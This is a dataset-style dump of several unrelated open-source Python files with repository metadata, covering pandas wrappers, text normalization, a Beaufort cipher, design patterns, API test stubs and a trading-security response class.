src/hyenas/metadata.py
LordBertson/hyena
c20b8a5c7c784a333b6c9468c7f18b0715f1095d
[ "MIT" ]
null
null
null
src/hyenas/metadata.py
LordBertson/hyena
c20b8a5c7c784a333b6c9468c7f18b0715f1095d
[ "MIT" ]
1
2021-10-21T07:10:10.000Z
2021-10-21T07:10:10.000Z
from pandas import DataFrame, Series def dtypes(df: DataFrame): return df.dtypes def info(df: DataFrame, verbose=None, buf=None, max_cols=None, memory_usage=None, show_counts=None, null_counts=None): return df.info(verbose,buf,max_cols,memory_usage,show_counts,null_counts) def select_dtypes(df: DataFrame, include=None, exclude=None): return df.select_dtypes(include,exclude) def axes(df: DataFrame): return df.axes def ndim(df: DataFrame): return df.ndim def shape(df: DataFrame): return df.shape def memory_usage(df: DataFrame, index=True, deep=False): return df.memory_usage(index, deep) def is_empty(df: DataFrame): return df.empty
27.04
118
0.75
104
676
4.75
0.307692
0.178138
0.172065
0.192308
0
0
0
0
0
0
0
0
0.140533
676
25
119
27.04
0.850258
0
0
0
0
0
0
0
0
0
0
0
0
1
0.470588
false
0
0.058824
0.470588
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
3
01c645f9e7f0c0a2e737a95962bd707de1fd41a7
12,233
py
Python
src/week_4/features/process_text/normalize.py
Rutafar/text-analytics-lecture
3cdf5cf5b0d2ca85343c259beade0054f4be6e3d
[ "MIT" ]
2
2018-03-05T20:45:11.000Z
2019-03-17T02:59:57.000Z
src/week_4/features/process_text/normalize.py
Rutafar/text-analytics-lecture
3cdf5cf5b0d2ca85343c259beade0054f4be6e3d
[ "MIT" ]
null
null
null
src/week_4/features/process_text/normalize.py
Rutafar/text-analytics-lecture
3cdf5cf5b0d2ca85343c259beade0054f4be6e3d
[ "MIT" ]
8
2018-03-02T14:12:35.000Z
2018-04-21T10:31:25.000Z
from week_4.features.process_text.patterns import get_contraction_dict, get_special_characters_pattern,\ get_end_characters_pattern, get_hyperlink_pattern, get_apostrophe_pattern, get_whitespace_pattern, get_number_pattern, \ get_abbreviation_dict from week_4.features.process_text.correct_spelling import correct_word from week_4.features.process_text.tokenize import is_tokenized, merge_tokens, word_tokenize from re import IGNORECASE, DOTALL, sub, compile from nltk.corpus import stopwords def expand_abbreviations(text): """Expands contractions in text.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # If last character is not space, add space. try: if normalized_text[-1] != ' ': normalized_text += ' ' except IndexError: print(1) # Creates abbreviations pattern. abbreviations_pattern = compile('({})'.format(r'\.?\s|'.join(get_abbreviation_dict().keys())), flags=IGNORECASE | DOTALL) def expand_match(abbreviation): """Expands matched contraction.""" # Retrieves matched contraction from string. match = abbreviation.group(0) # If last character is space, remove space. if match[-1] == " ": match = match[:-1] remove_space = True else: remove_space = False # If last character is dot, remove dot. if match[-1] == r'.': match = match[:-1] # Find expanded contraction in dictionary, based on contraction key. expanded_contraction = get_abbreviation_dict().get(match.lower()) if not expanded_contraction: return abbreviation.group(0) if remove_space: expanded_contraction += " " # Add first character to expanded contraction. return expanded_contraction # Replaces contractions with expanded contractions in text. normalized_text = abbreviations_pattern.sub(expand_match, normalized_text) # Strip text. normalized_text = normalized_text.strip() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return expanded text. return normalized_text def remove_numbers(text): """Remove numbers from text.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Remove all tailing white spaces. normalized_text = normalized_text.strip() # Replace all special characters with spaces. normalized_text = sub(get_number_pattern(), r' ', normalized_text) # Then remove multiple adjacent spaces. normalized_text = sub(' +', ' ', normalized_text) # Strip text. normalized_text = normalized_text.strip() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def _get_single_match(match): """Returns single match of multiple match.""" word = match.group() return word[0] def replace_multiple_stopwords(text): """Replaces multiple stopwords with single stopwords.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Replaces apostrophe pattern with '. normalized_text = sub('[.!?]+', _get_single_match, normalized_text) # Strip text. normalized_text = normalized_text.strip() # If was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def replace_whitespaces(text): """Replaces all whitespaces with one space.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Replaces all whitespaces with ' '. normalized_text = sub(get_whitespace_pattern(), ' ', normalized_text) # Strip text. normalized_text = normalized_text.strip() # If was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def replace_apostrophes(text): """Replaces apostrophe pattern with '.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Replaces apostrophe pattern with '. normalized_text = sub(get_apostrophe_pattern(), "'", normalized_text) # Strip text. normalized_text = normalized_text.strip() # If was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def expand_contractions(text): """Expands contractions in text.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Creates contractions pattern. contractions_pattern = compile('({})'.format('|'.join(get_contraction_dict().keys())), flags=IGNORECASE | DOTALL) def expand_match(contraction): """Expands matched contraction.""" # Retrieves matched contraction from string. match = contraction.group(0) # Stores first character for case sensitivity. first_char = match[0] # Find expanded contraction in dictionary, based on contraction key. expanded_contraction = get_contraction_dict().get(match) # If the contraction could not be found, try again with lower case. if not expanded_contraction: expanded_contraction = get_contraction_dict().get(match.lower()) # Add first character to expanded contraction. expanded_contraction = first_char + expanded_contraction[1:] return expanded_contraction # Replaces contractions with expanded contractions in text. normalized_text = contractions_pattern.sub(expand_match, normalized_text) # Strip text. normalized_text = normalized_text.strip() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return expanded text. return normalized_text def convert_case(text, to_lower=True): """Converts text to defined case.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # If to lower, convert to lower case. Else, convert to upper case. if to_lower: normalized_text = normalized_text.lower() else: normalized_text = normalized_text.upper() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def remove_special_characters(text): """Removes special characters from text.""" # If text is empty, return None. if not text: return None # If texts is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Retrieve special characters pattern. special_characters_pattern = get_special_characters_pattern() # Remove all tailing white spaces. normalized_text = normalized_text.strip() # Replace all special characters with spaces. normalized_text = sub(special_characters_pattern, r' ', normalized_text) # Then remove multiple adjacent spaces. normalized_text = sub(' +', ' ', normalized_text) # Strip text. normalized_text = normalized_text.strip() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def remove_end_characters(text): """Removes end characters from word token list.""" # If text is empty, return None. if not text: return None # If text is not tokenize, tokenize text. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text normalized_text += ' ' # Replace stopwords with spaces. normalized_text = sub(get_end_characters_pattern(), r' ', normalized_text) # Then remove multiple adjacent spaces. normalized_text = sub(' +', ' ', normalized_text) # Then strip text. normalized_text = normalized_text.strip() if normalized_text[-1] == r'.': normalized_text = normalized_text[:-1] # If text was tokenized, then re-tokenize. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def remove_stopwords(text): """Remove stopwords from word token list""" # If text is empty, return None. if not text: return None # If text is not tokenize, tokenize text. if is_tokenized(text): was_tokenized = True normalized_text = text else: was_tokenized = False normalized_text = word_tokenize(text, 'whitespace') # Create stopwords list. stop_set = set(stopwords.words('english')) stop_set.update(['amp']) # Filter stopwords from text. normalized_text = [token for token in normalized_text if token not in stop_set] # If text was not tokenize, merge tokens. if not was_tokenized: normalized_text = merge_tokens(normalized_text) # Return normalized text. return normalized_text def remove_hyperlinks(text): """Remove hyperlinks from text.""" # If text is empty, return None. if not text: return None # If is tokenized, merge tokens. if is_tokenized(text): was_tokenized = True normalized_text = merge_tokens(text) else: was_tokenized = False normalized_text = text # Replace hyperlinks with space. normalized_text = sub(get_hyperlink_pattern(), r' ', normalized_text) # Then remove multiple adjacent spaces. normalized_text = sub(' +', ' ', normalized_text) # Strip text. normalized_text = normalized_text.strip() # If text was tokenized, re-tokenize text. if was_tokenized: normalized_text = word_tokenize(normalized_text) # Return normalized text. return normalized_text def correct_spelling(text): """Correct spelling.""" # If text is empty, return None. if not text: return None # If is not tokenized, tokenize text. if is_tokenized(text): was_tokenized = True normalized_text = text else: was_tokenized = False normalized_text = was_tokenized(text, 'whitespace') # Correct words. normalized_text = [correct_word(word) for word in normalized_text] # If was tokenized, merge text. if not was_tokenized: normalized_text = merge_tokens(normalized_text) # Return normalized text. return normalized_text
33.515068
125
0.681844
1,458
12,233
5.514403
0.089849
0.229851
0.060448
0.065672
0.714179
0.701617
0.676866
0.668408
0.652239
0.635572
0
0.001825
0.238617
12,233
364
126
33.607143
0.861391
0.290362
0
0.6875
0
0
0.008924
0
0
0
0
0
0
1
0.072115
false
0
0.024038
0
0.173077
0.004808
0
0
0
null
1
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01cbc6ed852e9cca41266419d71b15a9078d1eb8
145
py
Python
exercicio27.py
monabrisa/-infosatc-lp-avaliativo-01
39d8b97162fa0102db1316b977e960bc07cd7299
[ "MIT" ]
null
null
null
exercicio27.py
monabrisa/-infosatc-lp-avaliativo-01
39d8b97162fa0102db1316b977e960bc07cd7299
[ "MIT" ]
null
null
null
exercicio27.py
monabrisa/-infosatc-lp-avaliativo-01
39d8b97162fa0102db1316b977e960bc07cd7299
[ "MIT" ]
null
null
null
hectares = float(input("Digite o valor da área em hectares: ")) metros = hectares * 10000 print("{} hectares são {} m²".format(hectares, metros))
48.333333
63
0.710345
20
145
5.15
0.75
0.271845
0
0
0
0
0
0
0
0
0
0.048
0.137931
145
3
64
48.333333
0.776
0
0
0
0
0
0.390411
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01fd17cc3f507524a6ea28ccb33e948f9266a86f
240
py
Python
packages/core/minos-microservice-common/minos/common/testing/__init__.py
minos-framework/minos-python
9a6ad6783361f3d8a497a088808b55ea7a938c6c
[ "MIT" ]
247
2022-01-24T14:55:30.000Z
2022-03-25T12:06:17.000Z
packages/core/minos-microservice-common/minos/common/testing/__init__.py
minos-framework/minos-python
9a6ad6783361f3d8a497a088808b55ea7a938c6c
[ "MIT" ]
168
2022-01-24T14:54:31.000Z
2022-03-31T09:31:09.000Z
packages/core/minos-microservice-common/minos/common/testing/__init__.py
minos-framework/minos-python
9a6ad6783361f3d8a497a088808b55ea7a938c6c
[ "MIT" ]
21
2022-02-06T17:25:58.000Z
2022-03-27T04:50:29.000Z
from .database import ( MockedDatabaseClient, MockedDatabaseOperation, MockedLockDatabaseOperationFactory, MockedManagementDatabaseOperationFactory, ) from .testcases import ( DatabaseMinosTestCase, MinosTestCase, )
21.818182
45
0.783333
12
240
15.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.166667
240
10
46
24
0.94
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.2
0
0.2
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
bf082d15d05f5f521d15f448e3180bd3538a57a1
46
py
Python
Lab3/flights/core/settings.py
kostya9/KPI.RelationalDatabases
a574c79b38c1bc2fbeba38bad82b20dad1c455d0
[ "MIT" ]
null
null
null
Lab3/flights/core/settings.py
kostya9/KPI.RelationalDatabases
a574c79b38c1bc2fbeba38bad82b20dad1c455d0
[ "MIT" ]
null
null
null
Lab3/flights/core/settings.py
kostya9/KPI.RelationalDatabases
a574c79b38c1bc2fbeba38bad82b20dad1c455d0
[ "MIT" ]
null
null
null
STATIC_ROOT = os.path.join(BASE_DIR, "static")
46
46
0.76087
8
46
4.125
0.875
0
0
0
0
0
0
0
0
0
0
0
0.065217
46
1
46
46
0.767442
0
0
0
0
0
0.12766
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
bf10da2689fab8dcad9c2b5dad02191cbfcd73d4
175
py
Python
api/src/function/header/launch.py
SamuelJansen/CourseEditor
a240d88fdf014d0baa9bea213f0f6893bbc9a6a3
[ "MIT" ]
null
null
null
api/src/function/header/launch.py
SamuelJansen/CourseEditor
a240d88fdf014d0baa9bea213f0f6893bbc9a6a3
[ "MIT" ]
null
null
null
api/src/function/header/launch.py
SamuelJansen/CourseEditor
a240d88fdf014d0baa9bea213f0f6893bbc9a6a3
[ "MIT" ]
null
null
null
import eventFunction def launch(event) : event.status = eventFunction.Status.NOT_RESOLVED print(f' EventFunction called: launch({event.object.application.name})')
29.166667
79
0.754286
20
175
6.55
0.7
0.167939
0
0
0
0
0
0
0
0
0
0
0.137143
175
5
80
35
0.86755
0
0
0
0
0
0.371429
0.222857
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0.25
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
bf1340152d1614412df29096e2c099055b2b20ff
129
py
Python
pygeotoolbox/sharedtools/demos/calling/caller01.py
raugustyn/doctest
c37b0e2fa11ebd30d600923020b1ce44145a0250
[ "MIT" ]
null
null
null
pygeotoolbox/sharedtools/demos/calling/caller01.py
raugustyn/doctest
c37b0e2fa11ebd30d600923020b1ce44145a0250
[ "MIT" ]
null
null
null
pygeotoolbox/sharedtools/demos/calling/caller01.py
raugustyn/doctest
c37b0e2fa11ebd30d600923020b1ce44145a0250
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- __author__ = "radek.augustyn@email.cz" import mostinner mostinner.info("Called from <%s>" % __file__)
18.428571
45
0.674419
16
129
4.9375
0.9375
0
0
0
0
0
0
0
0
0
0
0.009009
0.139535
129
7
45
18.428571
0.702703
0.162791
0
0
0
0
0.367925
0.216981
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
bf18a14a249de34eb2fcc419faabf3f425fd35fe
96
py
Python
main.py
argoopjmc/Katsaris
4803f5cd54a4854fcafc53e94a610a421f81b388
[ "CC0-1.0" ]
4
2020-06-06T13:13:56.000Z
2020-06-10T08:32:02.000Z
main.py
argoopjmc/Katsaris
4803f5cd54a4854fcafc53e94a610a421f81b388
[ "CC0-1.0" ]
null
null
null
main.py
argoopjmc/Katsaris
4803f5cd54a4854fcafc53e94a610a421f81b388
[ "CC0-1.0" ]
null
null
null
from CustomClass import CustomClass Dummy = CustomClass(1,2,"Name") print(Dummy.__getter__())
16
35
0.770833
12
96
5.833333
0.75
0
0
0
0
0
0
0
0
0
0
0.023256
0.104167
96
5
36
19.2
0.790698
0
0
0
0
0
0.042105
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
bf1aa63d1458865f51084840898cda31aa25af4e
2,157
py
Python
pypattyrn/behavioral/chain.py
defianceblack/PyPattyrn
c67a4ac601b4864a72df7c49e51ad5fdadf939ab
[ "MIT" ]
1,499
2016-09-13T19:24:58.000Z
2022-03-28T11:56:44.000Z
pypattyrn/behavioral/chain.py
defianceblack/PyPattyrn
c67a4ac601b4864a72df7c49e51ad5fdadf939ab
[ "MIT" ]
7
2016-09-11T02:30:39.000Z
2020-02-09T19:26:15.000Z
pypattyrn/behavioral/chain.py
tylerlaberge/PyPat
6561e9927553a9074d0a71247a1b1e933f2ec423
[ "MIT" ]
145
2016-09-16T05:06:10.000Z
2022-03-23T22:33:32.000Z
from abc import ABCMeta, abstractmethod class ChainLink(object, metaclass=ABCMeta): """ Abstract ChainLink object as part of the Chain of Responsibility pattern. - External Usage documentation: U{https://github.com/tylerlaberge/PyPattyrn#chain-of-responsibility-pattern} - External Chain of Responsibility Pattern documentation: U{https://en.wikipedia.org/wiki/Chain-of-responsibility_pattern} """ def __init__(self): """ Initialize a new ChainLink instance. """ self.successor = None def set_successor(self, successor): """ Set a chain link to call if this chain link fails. @param successor: The chain link to call if this chain link fails. @type successor: ChainLink """ self.successor = successor def successor_handle(self, request): """ Have this chain links successor handle a request. @param request: The request to handle. """ return self.successor.handle(request) @abstractmethod def handle(self, request): """ Handle a request. @param request: The request to handle. """ pass class Chain(object, metaclass=ABCMeta): """ Abstract Chain class as part of the Chain of Responsibility pattern. - External Usage documentation: U{https://github.com/tylerlaberge/PyPattyrn#chain-of-responsibility-pattern} - External Chain of Responsibility Pattern documentation: U{https://en.wikipedia.org/wiki/Chain-of-responsibility_pattern} """ def __init__(self, chainlink): """ Initialize a new Chain instance. @param chainlink: The starting chain link. """ self.chainlink = chainlink def handle(self, request): """ Handle a request. @param request: The request to handle. """ try: return self.chainlink.handle(request) except AttributeError: return self.fail() @abstractmethod def fail(self): """ The method to call when the chain could not handle a request. """ pass
28.381579
126
0.632823
238
2,157
5.684874
0.264706
0.04139
0.124169
0.165558
0.535107
0.535107
0.535107
0.535107
0.535107
0.45085
0
0
0.278164
2,157
75
127
28.76
0.868979
0.526657
0
0.272727
0
0
0
0
0
0
0
0
0
1
0.318182
false
0.090909
0.045455
0
0.590909
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
170cd8ddc6633c6e76f40accf07109c28142384e
1,394
py
Python
Source/Beaufort.py
jj-style/Cryptobreaker
c99b9cc35114e55c87b073ee2467c06bd95835a5
[ "MIT" ]
null
null
null
Source/Beaufort.py
jj-style/Cryptobreaker
c99b9cc35114e55c87b073ee2467c06bd95835a5
[ "MIT" ]
null
null
null
Source/Beaufort.py
jj-style/Cryptobreaker
c99b9cc35114e55c87b073ee2467c06bd95835a5
[ "MIT" ]
null
null
null
import string from RemovePunctuation import * alphabet = list(string.ascii_lowercase) def BeaufortEncode(text,key,german=False): ciphertext = "" text_count = 0 key_count = 0 while text_count < len(text): if text[text_count] in alphabet: if not german: ciphertext += alphabet[(alphabet.index(key[key_count%len(key)]) - alphabet.index(text[text_count])) % len(alphabet)] elif german: ciphertext += alphabet[(alphabet.index(text[text_count]) - alphabet.index(key[key_count%len(key)])) % len(alphabet)] text_count += 1 key_count += 1 else: ciphertext += text[text_count] text_count += 1 return ciphertext def BeaufortDecode(text,key,german=False): plaintext = "" text_count = 0 key_count = 0 while text_count < len(text): if text[text_count] in alphabet: if not german: plaintext += alphabet[(alphabet.index(key[key_count%len(key)]) - alphabet.index(text[text_count])) % len(alphabet)] elif german: plaintext += alphabet[(alphabet.index(text[text_count]) + alphabet.index(key[key_count%len(key)])) % len(alphabet)] text_count += 1 key_count += 1 else: plaintext += text[text_count] text_count += 1 return plaintext
35.74359
132
0.60043
164
1,394
4.95122
0.176829
0.17734
0.128079
0.093596
0.756158
0.70936
0.70936
0.637931
0.637931
0.637931
0
0.01004
0.285509
1,394
38
133
36.684211
0.805221
0
0
0.571429
0
0
0
0
0
0
0
0
0
1
0.057143
false
0
0.057143
0
0.171429
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
17362130c150ca60fd05d74c20c6911aa494c2df
176
py
Python
example-config/games/game3/game-files/some-game.py
AdamK117/textadventurer-server
20f281d742afd3521db61ecd531aafba810a0cab
[ "MIT" ]
4
2017-10-21T18:30:42.000Z
2020-11-29T00:44:15.000Z
example-config/games/game3/game-files/some-game.py
AdamK117/textadventurer-server
20f281d742afd3521db61ecd531aafba810a0cab
[ "MIT" ]
4
2020-03-04T22:21:14.000Z
2021-12-09T20:31:21.000Z
example-config/games/game3/game-files/some-game.py
AdamK117/textadventurer-server
20f281d742afd3521db61ecd531aafba810a0cab
[ "MIT" ]
null
null
null
import sys print("Hello hero, what is your name?") while True: print("type your name") name = raw_input() print("What a silly name, " + name + " try again hero")
19.555556
59
0.630682
27
176
4.074074
0.666667
0.145455
0
0
0
0
0
0
0
0
0
0
0.238636
176
8
60
22
0.820896
0
0
0
0
0
0.443182
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
173a77b16651d5bba5e54403141d4ed94c7a0186
1,372
py
Python
test/test_sparql_api.py
rpgoldman/owlery-client
bd02ee7c071b720604870d76da42a7b1e988332b
[ "Apache-2.0" ]
null
null
null
test/test_sparql_api.py
rpgoldman/owlery-client
bd02ee7c071b720604870d76da42a7b1e988332b
[ "Apache-2.0" ]
null
null
null
test/test_sparql_api.py
rpgoldman/owlery-client
bd02ee7c071b720604870d76da42a7b1e988332b
[ "Apache-2.0" ]
null
null
null
""" Owlery API Owlery provides a web API for an [OWL API](http://owlapi.sourceforge.net)-based reasoner containing a configurable set of ontologies (a \"knowledgebase\"). # noqa: E501 The version of the OpenAPI document: 1.0.0 Contact: balhoff@renci.org Generated by: https://openapi-generator.tech """ import unittest import owlery_client from owlery_client.api.sparql_api import SPARQLApi # noqa: E501 class TestSPARQLApi(unittest.TestCase): """SPARQLApi unit test stubs""" def setUp(self): self.api = SPARQLApi() # noqa: E501 def tearDown(self): pass def test_kbs_kb_expand_get(self): """Test case for kbs_kb_expand_get Expand SPARQL query encoded in URL parameter # noqa: E501 """ pass def test_kbs_kb_expand_post(self): """Test case for kbs_kb_expand_post Expand SPARQL query contained in request body # noqa: E501 """ pass def test_kbs_kb_sparql_get(self): """Test case for kbs_kb_sparql_get Perform SPARQL query encoded in URL parameter # noqa: E501 """ pass def test_kbs_kb_sparql_post(self): """Test case for kbs_kb_sparql_post Perform SPARQL query contained in request body # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
23.655172
174
0.650146
182
1,372
4.686813
0.395604
0.046893
0.051583
0.065651
0.436108
0.436108
0.403283
0.264947
0.236811
0.131301
0
0.023833
0.266035
1,372
57
175
24.070175
0.823237
0.524052
0
0.277778
0
0
0.015123
0
0
0
0
0
0
1
0.333333
false
0.277778
0.166667
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3
174029fe9c10cf40185afcb72a9fa726abcf978e
122
py
Python
oncogemini/gemini_plot.py
fakedrtom/cancer_gemini
e2dd5cf056004409b58f1e2d98589f847a7e0e2f
[ "MIT" ]
221
2015-01-13T20:04:50.000Z
2022-02-02T10:41:02.000Z
oncogemini/gemini_plot.py
fakedrtom/cancer_gemini
e2dd5cf056004409b58f1e2d98589f847a7e0e2f
[ "MIT" ]
441
2015-01-12T20:00:41.000Z
2022-01-21T08:58:41.000Z
oncogemini/gemini_plot.py
fakedrtom/cancer_gemini
e2dd5cf056004409b58f1e2d98589f847a7e0e2f
[ "MIT" ]
111
2015-01-27T10:53:47.000Z
2021-12-22T14:21:19.000Z
#!/usr/bin/env python def plot(parser, args): """ To do. """ pass if __name__ == "__main__": plot()
11.090909
26
0.508197
15
122
3.6
0.933333
0
0
0
0
0
0
0
0
0
0
0
0.303279
122
10
27
12.2
0.635294
0.221311
0
0
0
0
0.101266
0
0
0
0
0
0
1
0.25
false
0.25
0
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
1745b00649f6e9e4570ad590b43eefc4258ef154
1,069
py
Python
aiter/event_stream.py
Chia-Network/aiter
b435ba713f36fb5373f57dcfbff70d24058b423e
[ "MIT" ]
10
2019-03-19T14:40:06.000Z
2022-02-01T01:05:18.000Z
aiter/event_stream.py
Chia-Network/aiter
b435ba713f36fb5373f57dcfbff70d24058b423e
[ "MIT" ]
3
2019-09-19T07:39:00.000Z
2020-06-30T17:10:22.000Z
aiter/event_stream.py
richardkiss/aiter
6819f9c9c9df030807461844ef2cf75ecb39c741
[ "MIT" ]
5
2019-09-19T07:35:59.000Z
2022-03-14T05:55:05.000Z
from .map_aiter import map_aiter from .join_aiters import join_aiters def message_stream_to_event_stream(event_template, message_stream): """ This tweaks each message from message_stream by wrapping it with a dictionary populated with the given template, putting the message is at the top level under "message". """ template = dict(event_template) def adaptor(message): event = dict(template) event.update(message=message) return event return map_aiter(adaptor, message_stream) def rws_to_event_aiter(rws_aiter, reader_to_message_stream): def rws_to_reader_event_template_adaptor(rws): return rws, rws["reader"] def reader_event_template_to_event_stream_adaptor(rws_reader): rws, reader = rws_reader return message_stream_to_event_stream(rws, reader_to_message_stream(reader)) def adaptor(rws): return reader_event_template_to_event_stream_adaptor( rws_to_reader_event_template_adaptor(rws)) return join_aiters(map_aiter(adaptor, rws_aiter))
29.694444
84
0.745557
147
1,069
5.047619
0.244898
0.122642
0.070081
0.053908
0.336927
0.216981
0.216981
0.216981
0
0
0
0
0.192703
1,069
35
85
30.542857
0.859791
0.158092
0
0
0
0
0.006849
0
0
0
0
0
0
1
0.315789
false
0
0.105263
0.105263
0.736842
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
174795ae765ff4bcb8a94d6984e0aad753754a47
424
py
Python
bibliopixel/project/types/spi_interface.py
rec/leds
ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a
[ "MIT" ]
253
2015-01-03T23:17:57.000Z
2021-12-14T02:31:08.000Z
bibliopixel/project/types/spi_interface.py
rec/leds
ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a
[ "MIT" ]
879
2015-01-11T16:07:25.000Z
2021-12-10T16:24:31.000Z
bibliopixel/project/types/spi_interface.py
rec/leds
ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a
[ "MIT" ]
71
2015-01-04T01:02:47.000Z
2022-03-25T18:30:10.000Z
import functools from ...drivers.spi_interfaces import SPI_INTERFACES USAGE = """ A spi_interface is represented by a string. Possible values are """ + ', '.join(sorted(SPI_INTERFACES.__members__)) @functools.singledispatch def make(c): raise ValueError("Don't understand type %s" % type(c), USAGE) @make.register(SPI_INTERFACES) def _(c): return c @make.register(str) def _(c): return SPI_INTERFACES[c]
18.434783
71
0.724057
58
424
5.086207
0.568966
0.220339
0.067797
0
0
0
0
0
0
0
0
0
0.150943
424
22
72
19.272727
0.819444
0
0
0.142857
0
0
0.216981
0
0
0
0
0
0
1
0.214286
false
0
0.142857
0.142857
0.5
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
3
174e7a1e219205668a7546686a2f2765958bedec
2,046
py
Python
bux/types/_security.py
orsinium-labs/bux
fbb5727b759719f15ec38dd4bf00e493690854b4
[ "MIT" ]
1
2022-03-09T12:02:18.000Z
2022-03-09T12:02:18.000Z
bux/types/_security.py
orsinium-labs/bux
fbb5727b759719f15ec38dd4bf00e493690854b4
[ "MIT" ]
null
null
null
bux/types/_security.py
orsinium-labs/bux
fbb5727b759719f15ec38dd4bf00e493690854b4
[ "MIT" ]
null
null
null
from typing import Optional from ._price import Price from ._response import Response class Security(Response): @property def _sec(self) -> dict: return self @property def bid(self) -> Price: return Price(self._sec['bid']) @property def closing_bid(self) -> Price: return Price(self._sec['closingBid']) @property def country_code(self) -> Optional[str]: return self._sec.get('countryCode') @property def opening_bid(self) -> Optional[Price]: if not self._sec.get('openingBid'): return None return Price(self._sec['openingBid']) @property def description(self) -> Optional[str]: return self._sec.get('description') @property def id(self) -> str: return self._sec['id'] @property def name(self) -> str: return self._sec['name'] @property def security_type(self) -> str: return self._sec['securityType'] @property def offer(self) -> Price: return Price(self._sec['offer']) @property def ticker_code(self) -> str: return self._sec['tickerCode'] @property def today_low(self) -> Optional[Price]: if not self.get('stats'): return None return Price(self['stats']['todayLow']) @property def 